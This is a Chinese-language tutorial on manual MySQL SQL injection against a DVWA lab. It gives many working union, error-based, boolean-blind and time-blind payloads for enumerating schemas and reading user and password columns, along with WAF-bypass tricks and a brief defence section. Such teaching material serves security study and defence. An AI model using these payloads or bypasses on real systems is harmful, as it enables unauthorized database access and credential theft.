前提:
mysql5.0以上版本包含内置的information_schema数据库,它储存着mysql所有的数据库和表结构信息,利用该数据库可以查询到所有的数据库和表的内容
一、5.0 暴力破解的方式获取数据
1、原理
当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2、sql手工注入的基本思路
(1)找到注入点
在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
判断方式:
直接加 ‘ 报错。
and 1=1 页面正常显示
and 1=2 页面显示不正常
(2)闭合语句(单引号/双引号,注释)
闭合多存在于字符型注入;
select * from tables where id = $id;
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)
select * from tables where id = '$id';
字符型的注入,$id多为字符型输入,需要进行闭合
(3)注释 # --/–+ %23
注释的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
(4)构造sql语句
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)
简单例子:
通过sql注入实现简单的登录验证绕过。
3、注入的基本流程
(1)判断sql注入是否存在
(2)暴字段长度
order by n 排序
www.example.com/index.php?id=1' order by n --
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0' select 1,2,3 #
4、利用条件
(1).用户可控的输入
(2).能够带入到数据库执行
5、利用方式(类型)
(1)显性注入
(2)盲注
最大的区别:有无显示位,能不能直接从页面获得信息
(union联合查询注入)
二、、联合注入
利用mysql的一些内置函数查询数据库的信息
www.example.com/index.php?id=0' union select user(),2 #
version() #查询数据库版本
database() #当前所使用的数据库名称
user() #当前数据库用户
如果版本大于5.0,利用内置数据库information_schema来查询数据库的相关信息
SCHEMATA ----SCHEMA_NAME 存放着所有数据库的名称
TABLES ----TABLE_NAME 存放着所有表的名称
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'dvwa'
COLUMNS ---COLUMN_NAME 存放着所有字段的名称
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'users'
1.利用内置数据库获取数据库信息
0' union select 1,SCHEMA_NAME from information_schema.SCHEMATA #
2.利用内置数据库获取表名
0' union select 1,TABLE_NAME from information_schema.TABLES where table_schema='dvwa' #
3.利用内置数据库获取字段名
0'union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'users' #
或者
0' union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'users' limit 0,1 # limit 0(起始位置,0从第一个记录开始),1(显示一条记录)
4.查询字段的内容(已知数据库名,表名,字段名)
select user,password from users ;
当后台进行对提交的数据进行处理的时候,
若存在mysqli_real_escape_string()对特殊字符进行转译,如何绕过?
1.使用内置函数去规避特殊符号 例如 table_schema=‘dvwa’ 改成 table_schema=database()
2.把需要特殊字符’标识的内容转换成16进制。
eg:
id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273 # (table_name='users')
三、报错型注入
原理: 网页上没有展示查询的地方,数据库返回到页面的唯一信息只有mysql错误。此时可以报错注入来从错误提示中获取信息。查询语句正确,能够被后台数据库执行,并且需要产生一个逻辑错误使查询的借口伴随着错误提示显示在网页上。
5.0及以上版本都可以使用floor,
5.1.5 – 5.5 使用extractvalue(),updatexml()
floor()
本质:在特定情况下floor,count,group by三个函数一起使用时会产生冲突
1' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(目标文档,xml路径) 对xml文档进行查询函数
报错原理:
第二个参数的地方,是我们用来利用的地方。xml文档中查找字符位置是以/XX/XX/XX这样路径的格式,如果我们写入其他格式,就会产生报错,并且返回我们写入的非法格式内容,这个非法内容会被数据库执行,也就是我们所要查询的结果。
1' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema='dvwa' limit 0,1 ))) #
1' and extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='dvwa' ))) #
1' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema='dvwa' limit 0,1 ))) #
updatexml(目标文档,xml路径,更新的内容) 更新xml文档的函数
报错原理:跟extractvalue()函数相似
1' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')),1)) #
四、基于布尔类型的盲注
区别:它跟一般注入的区别在于,一般的注入攻击能够直接从页面看到注入语句的执行结果,而盲注的时候攻击者无法从页面获取执行结果,甚至连注入语句是否执行都无从得知,只能通过布尔值判断返回页面是否正常得出结果
1.判断是否注入
2.猜解数据库名 二分法取中间值
猜解数据库名称长度 --4
length(database()) = > < 3 结果为真的时候说明猜想成立
逐个字符去猜解数据库名称
第一个字符
ascii(substr(database(),1,1)) = <> 来确定ascii准确的值是多少,从而确定ascii码所对应的字符。
1' and ascii(substr(database(),1,1))>99# 显示存在
1' and ascii(substr(database(),1,1))<101 # 显示不存在。
1' and ascii(substr(database(),1,1))=100 # 显示存在,说明数据库名称的第一个字符的ascii值为100,所对应的字符为d.
第二个字符
1' and ascii(substr(database(),2,1))>99#
substr(str,m,n) m表示起始位置(mysql的start位置是1),n长度
ascii是118,对应字符是v
3.猜解表名
猜解表的数量
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # 显示存在,说明数据库存在2张表
猜解第一张表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1)) =9 # 显示存在,长度为9
逐字猜解表名
第一个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <105 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =103 # 显示存在,此时第一个字符为g
第二个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))
猜解第二张表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1)) =5 # 显示存在,长度为5
四、基于时间的盲注
1.判断是否存在注入,是字符型还是数字型?
1 and sleep(5) # 没有感觉到延迟
1’ and sleep(5) # 感觉到明显延迟
2.猜解数据库名
mysql if(判断条件,当判断条件结果为true的时候返回的值,判断条件为false时返回的值)
猜数据库名的长度
if(length(database())=1,sleep(5),1) #
猜名称(二分法,逐字猜解)
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 页面有明显延迟
<110
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) # 页面明显延迟 ,此时说明第一个ascii码值为100,对应的字符为d
3.猜解表名
猜表的数量
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 此时页面明显延迟,表的数量是2
第一张
猜表的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))>5,sleep(5),1) #
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,sleep(5),1) #
页面明显延迟,第一张表的名称长度是9
猜表的名称
第一个字符
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))>97,sleep(5),1) #
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=103,sleep(5),1) #
页面明显延迟,第一张表的第一个字符acsii值为103,所对应的字符
第二个字符
1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),2,1)))>97,sleep(5),1) #
第二张
猜表的长度
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))>5,sleep(5),1) #
第三张 ....
3.猜字段名
绕过方法
什么waf?
WAF 应用防护系统(也称为:网站应用级入侵防御系统。)
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
waf分类:
代码waf:将规则写在web代码中,然后匹配过滤
软件waf:在服务器上执行waf功能的程序,通常是waf监听端口或者以web容器扩展的方式进行请求检测和阻断。比如安全狗。
硬件waf:专门的硬件防护设备,通过代理技术代理来自外部的流量,并对请求包进行解析。然后通过安全规则库的攻击规则进行匹配,决定是否转发。
云waf: web应用防火墙的云模式,利用dns技术移交域名解析来实现安全防护,将流量暂时发送到检测中心的节点,检测通过后再发送给真实服务器。
waf工作流程:
1.身份验证 (黑白名单)
2.数据包解析 (自身的解析算法)
3.规则匹配 (危险请求语句,危险函数等组成的规则库)
如何去绕过waf?
1.身份验证 黑白名单、cookie、user-agent、referer
早期版本的安全狗存在该漏洞,把user-agent修改为搜索引擎就可以绕过
2.数据包解析
编码绕过:url编码,base64 ,hex 修改请求方式:cookie中转注入,最典型的修改请求方式绕过,很多asp,aspx网站都存在这样的问题。有时候仅仅对get请求方式进行了过滤,但是POST或者COOKIE参数没有进行检测。
3.规则匹配 (根据不同的匹配规则-----正则匹配,有不同的绕过方法)
大小写绕过-----------正则匹配对大小写不敏感的情况下
select ---- SeLecT
关键字替换 str_replace("select","",$id)
双写绕过 selselectect
使用编码 --- mysqli_real_escape_string() 对特殊符号''进行转义
eg: table_name='users'
id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273 # (table_name='users')
使用注释 --最常用的方法
1' union/**/select/**/table_name/**/ #
等价函数与命令
@@datadir => datadir()
防御方式
1.mysql pdo 防御sql注入
2.安全函数-----------对用户提交的数据内容进行处理(转义,替换)
stripslashes
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
正则匹配,关键字替换
字符串长度限制
对接受的参数进行类型格式化,比如id参数值在获取之后,进行int类型转换 -----在接受参数时,只允许接受int类型的值
应用信息尽可能的给出少的提示,最好使用自定义的错误信息对原始错误信息进行包装,并且把异常信息输出到日志而非显示在页面
低权限运行数据库 (root权限 – into outfile 写入一个木马到web目录下面)
机密信息加密存放 —一定程度上保护了数据安全)
stripslashes
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。